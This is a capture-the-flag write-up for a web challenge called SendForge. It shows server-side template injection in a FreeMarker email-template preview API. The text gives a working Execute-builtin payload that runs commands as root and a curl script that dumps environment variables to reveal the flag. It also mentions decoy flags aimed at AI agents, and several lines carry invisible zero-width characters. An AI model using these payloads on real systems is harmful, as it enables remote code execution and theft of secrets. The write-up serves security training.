← Back to Writeups
CUSTOMEasyWeb

SendForge

XESXOR9/10/20262 min read
#web#custom#easy#decoy_flag_recognition#freemarker_ssti_execute_builti#process_env_disclosure#template_preview_abuse#linux

SendForge

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_recognition, freemarker_ssti_execute_builtin, process_env_disclosure, template_preview_abuse

Summary

Task: Email marketing platform with FreeMarker template editor allowing server-side template preview, SSTI vulnerability. Solution: Injected FreeMarker Execute payload via template preview API to achieve RCE and read flag from environment variables.

SendForge — HackAdvisor

Description

SendForge is an email marketing platform built by ForgeComm Technologies. It lets businesses design email campaigns, manage subscriber lists, and track delivery analytics. The platform features a rich template editor allowing users to create dynamic email templates with variable interpolation for personalized messaging. The goal is to explore the application's template rendering capabilities and find a way to read a flag file hidden on the server.

English summary: A Java/Spring Boot email marketing platform with a FreeMarker template editor. The template preview endpoint compiles and renders user-supplied templates without sandboxing, enabling Server-Side Template Injection (SSTI) leading to Remote Code Execution. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Credentials: user@test.com / password123

Analysis

The application is a Java/Spring Boot app (identified by JSESSIONID cookie) running behind nginx/1.25.5. Key findings:

  1. Decoy flags everywhere — HTML comments and hidden divs contain fake flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) designed to trick automated scanners and AI agents
  2. Template editor at /templates/new explicitly states it uses FreeMarker syntax
  3. Preview API at POST /api/templates/preview accepts raw template body as JSON and returns rendered HTML
  4. No sandboxing — FreeMarker's dangerous built-ins like ?new() are not restricted, allowing instantiation of arbitrary Java classes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The critical vulnerability is that the preview endpoint directly compiles user-supplied FreeMarker templates without any security restrictions, enabling the freemarker.template.utility.Execute class to be instantiated for OS command execution.

Solution

Step 1: Login and Discover Template Editor

Login with provided credentials and navigate to the Templates page:

POST /login
email=user@test.com&password=password123

The /templates page states: "Templates use FreeMarker syntax for dynamic content" with available variables like ${subscriber.firstName}, ${campaign.subject}, etc. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Identify Preview Endpoint

The template editor at /templates/new contains JavaScript with a previewTemplate() function that sends:

http
POST /api/templates/preview
Content-Type: application/json

{"body": "template_content"}

Step 3: Confirm SSTI

http
POST /api/templates/preview
Content-Type: application/json

{"body": "${7*7}"}

Response: {"html":"49"} — arithmetic expression evaluated server-side, confirming SSTI.

Step 4: Achieve RCE via FreeMarker Execute

Used the classic FreeMarker SSTI payload leveraging freemarker.template.utility.Execute: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

http
POST /api/templates/preview
Content-Type: application/json

{"body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}"}

Response: {"html":"uid=0(root) gid=0(root) groups=0(root)..."} — full RCE as root.

Step 5: Extract Flag from Environment

http
POST /api/templates/preview
Content-Type: application/json

{"body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"env\")}"}

Response contained: FLAG=FLAG{REDACTED}

Full Exploit (curl one-liner)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
#!/bin/bash
# Login and get session
SESSION=$(curl -s -c - -X POST 'https://TARGET/login' \
  -d 'email=user@test.com&password=password123' | grep JSESSIONID | awk '{print $NF}')

# Execute SSTI payload
curl -s -X POST 'https://TARGET/api/templates/preview' \
  -H 'Content-Type: application/json' \
  -b "JSESSIONID=$SESSION" \
  -d '{"body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"env\")}"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍